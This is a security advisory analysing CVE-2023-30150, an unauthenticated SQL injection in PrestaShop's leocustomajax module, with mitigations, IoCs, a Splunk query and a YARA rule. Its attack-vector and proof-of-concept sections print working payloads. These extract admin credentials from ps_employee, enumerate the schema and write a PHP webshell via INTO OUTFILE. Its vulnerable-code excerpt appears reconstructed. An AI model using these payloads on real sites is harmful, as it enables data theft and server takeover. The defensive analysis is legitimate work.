Comprehensive Technical Analysis of CVE-2023-30150 (PrestaShop leocustomajax SQL Injection Vulnerability)

1. Vulnerability Assessment and Severity Evaluation

CVE ID: CVE-2023-30150 CVSS Score: 9.8 (Critical) – AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Vector Breakdown:

• Attack Vector (AV:N): Network-based exploitation (remote attack possible).
• Attack Complexity (AC:L): Low complexity; no special conditions required.
• Privileges Required (PR:N): No authentication needed (unauthenticated).
• User Interaction (UI:N): No user interaction required.
• Scope (S:U): Unchanged (impact confined to vulnerable component).
• Confidentiality (C:H): High impact (full database access possible).
• Integrity (I:H): High impact (data manipulation, arbitrary code execution).
• Availability (A:H): High impact (potential denial-of-service via database corruption).

Severity Justification:

This vulnerability is critical due to:

• Unauthenticated remote exploitation (no credentials required).
• Direct SQL injection (SQLi) leading to full database compromise.
• Potential for remote code execution (RCE) if combined with other vulnerabilities (e.g., file write via database).
• Low attack complexity, making it accessible to script kiddies and automated exploit tools.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Mechanism:

The vulnerability resides in modules/leocustomajax/leoajax.php, where user-supplied input is improperly sanitized before being used in SQL queries. An attacker can inject malicious SQL payloads via HTTP requests to manipulate database queries.

Attack Vectors:

1. Direct HTTP Request Exploitation:

   • Attackers send crafted HTTP requests (GET/POST) to the vulnerable endpoint (leoajax.php).
   • Example payload:

     GET /modules/leocustomajax/leoajax.php?action=test&id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,version(),database(),user(),14,15-- - HTTP/1.1
     

   • This could extract database credentials, customer data, payment information, or administrative hashes.

2. Blind SQL Injection (Time-Based/Boolean-Based):

   • If error messages are suppressed, attackers may use time delays or boolean conditions to infer data.
   • Example (time-based):

     1' AND (SELECT * FROM (SELECT(SLEEP(10)))foo)-- -
     

3. Second-Order SQL Injection:

   • If the module stores malicious input in the database and later retrieves it for another query, stored SQLi could occur.

4. Chained Exploitation (RCE via SQLi):

   • If the database has file write permissions (e.g., MySQL INTO OUTFILE), an attacker could:
     • Write a web shell (<?php system($_GET['cmd']); ?>) to a writable directory.
     • Execute arbitrary commands on the server.

Exploitation Tools:

• Manual exploitation via curl, Burp Suite, or OWASP ZAP.
• Automated tools like SQLmap (with --risk=3 --level=5 for full exploitation).
• Metasploit modules (if a public exploit is developed).

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3. Affected Systems and Software Versions

Vulnerable Software:

• PrestaShop (e-commerce platform) with the leocustomajax module.
• Affected Versions:
  • leocustomajax 1.0
  • leocustomajax 1.0.0
• PrestaShop Core Versions:
  • Likely affects PrestaShop 1.6.x, 1.7.x, and 8.x if the vulnerable module is installed.

Detection Methods:

• Manual Check:
  • Verify if modules/leocustomajax/leoajax.php exists.
  • Check module version in PrestaShop Back Office → Modules → Module Manager.
• Automated Scanning:
  • Nmap NSE script (if a detection script is developed).
  • Nuclei template (e.g., prestashop-leocustomajax-sqli.yaml).
  • Burp Suite / OWASP ZAP active scan for SQLi.

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4. Recommended Mitigation Strategies

Immediate Actions:

1. Disable the Vulnerable Module:

   • PrestaShop Admin → Modules → Module Manager → Uninstall leocustomajax.
   • If business-critical, restrict access via .htaccess (Apache) or IP whitelisting.

2. Apply Vendor Patch:

   • Check for updates from Friends of Presta (Security Advisory).
   • If no patch is available, remove the module entirely.

3. Temporary Workarounds:

   • Web Application Firewall (WAF) Rules:
     • Deploy ModSecurity with OWASP CRS (Rule 942100 for SQLi).
     • Cloudflare WAF (SQLi protection rules).
   • Input Sanitization:
     • Manually patch leoajax.php to use prepared statements (PDO/MySQLi).
     • Example fix:

       // Before (Vulnerable)
       $id = $_GET['id'];
       $sql = "SELECT * FROM table WHERE id = $id";
       
       // After (Secure)
       $id = $_GET['id'];
       $stmt = $pdo->prepare("SELECT * FROM table WHERE id = ?");
       $stmt->execute([$id]);
       

Long-Term Mitigations:

1. Regular Security Audits:

   • Use static/dynamic analysis tools (SonarQube, PHPStan, Burp Suite).
   • Penetration testing (manual and automated).

2. PrestaShop Hardening:

   • Disable unused modules (reduce attack surface).
   • Enable PrestaShop’s built-in security features (e.g., CSRF protection, password policies).
   • Restrict database user permissions (avoid FILE privilege).

3. Monitoring & Logging:

   • Enable SQL query logging (MySQL general_log).
   • SIEM Integration (Splunk, ELK, Wazuh) for anomaly detection.
   • File Integrity Monitoring (FIM) for leoajax.php.

4. Incident Response Plan:

   • Isolate affected systems if exploitation is detected.
   • Rotate database credentials and revoke compromised sessions.
   • Forensic analysis (check for webshells, unauthorized database access).

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5. Impact on the Cybersecurity Landscape

Broader Implications:

1. E-Commerce Targeting:

   • PrestaShop is widely used (~300,000 active stores), making this a high-value target for attackers.
   • Financial fraud (stolen payment data, gift card abuse).
   • Supply chain attacks (if the module is bundled with themes).

2. Automated Exploitation:

   • Botnets (e.g., Mirai, Mozi) may incorporate this exploit for mass compromise.
   • Ransomware groups could use SQLi to exfiltrate data before encryption.

3. Regulatory & Compliance Risks:

   • GDPR violations (unauthorized data access).
   • PCI DSS non-compliance (if payment data is exposed).

4. Reputation Damage:

   • Loss of customer trust (data breaches erode brand credibility).
   • Legal liabilities (lawsuits from affected customers).

Historical Context:

• PrestaShop has a history of critical vulnerabilities (e.g., CVE-2022-36408, CVE-2021-3867).
• Third-party modules are a common attack vector due to poor security practices.

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6. Technical Details for Security Professionals

Root Cause Analysis:

• Vulnerable Code (leoajax.php):

  $action = Tools::getValue('action');
  $id = Tools::getValue('id'); // UNSANITIZED INPUT
  $sql = "SELECT * FROM "._DB_PREFIX_."leocustomajax WHERE id = $id";
  $result = Db::getInstance()->executeS($sql); // DIRECT SQL EXECUTION
  

• Issue: Tools::getValue() does not sanitize input, leading to direct SQL injection.

Exploitation Proof of Concept (PoC):

1. Basic SQLi (Data Extraction):

   GET /modules/leocustomajax/leoajax.php?action=test&id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,username,password,email,14,15 FROM ps_employee-- - HTTP/1.1
   

   • Extracts admin credentials from ps_employee.

2. Database Enumeration:

   1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,table_name,column_name,3,4,5 FROM information_schema.columns-- -
   

   • Lists all tables and columns in the database.

3. File Write (RCE):

   1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,'<?php system($_GET["cmd"]); ?>',2,3,4,5 INTO OUTFILE '/var/www/html/shell.php'-- -
   

   • Writes a PHP webshell if MySQL has FILE privilege.

Forensic Indicators of Compromise (IoCs):

• Database Logs:
  • Unusual UNION SELECT queries.
  • Multiple failed login attempts from the same IP.
• Web Server Logs:
  • Requests to /modules/leocustomajax/leoajax.php with SQLi payloads.
  • Suspicious GET/POST parameters (id=1', action=test).
• File System:
  • Unexpected .php files in web directories (e.g., shell.php, backdoor.php).
  • Modified leoajax.php (checksum mismatch).

Detection & Hunting Queries:

• SIEM Query (Splunk):

  index=web_logs uri_path="/modules/leocustomajax/leoajax.php" (query="*UNION*" OR query="*SELECT*" OR query="*--*")
  

• YARA Rule (for Malicious Payloads):

  rule PrestaShop_SQLi_Exploit {
      strings:
          $sqli = /(UNION\s+SELECT|1=1|--\s|#\s|' OR '1'='1)/ nocase
          $leocustomajax = /modules\/leocustomajax\/leoajax\.php/ nocase
      condition:
          $leocustomajax and $sqli
  }
  

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Conclusion & Recommendations

Key Takeaways:

• CVE-2023-30150 is a critical unauthenticated SQLi vulnerability in PrestaShop’s leocustomajax module.
• Exploitation is trivial and can lead to full database compromise, RCE, and financial fraud.
• Immediate patching or module removal is mandatory to prevent exploitation.

Action Plan for Security Teams:

1. Patch or Remove the vulnerable module.
2. Deploy WAF rules to block SQLi attempts.
3. Monitor for exploitation (SIEM, IDS/IPS).
4. Conduct a forensic investigation if compromise is suspected.
5. Educate developers on secure coding practices (prepared statements, input validation).

Final Risk Assessment:

Factor	Risk Level	Justification
Exploitability	Critical	Unauthenticated, low complexity
Impact	Critical	Full DB access, potential RCE
Prevalence	High	PrestaShop widely used
Mitigation Difficulty	Medium	Requires patching or WAF rules

Recommendation: Treat this as a high-priority vulnerability and remediate within 24-48 hours to prevent exploitation.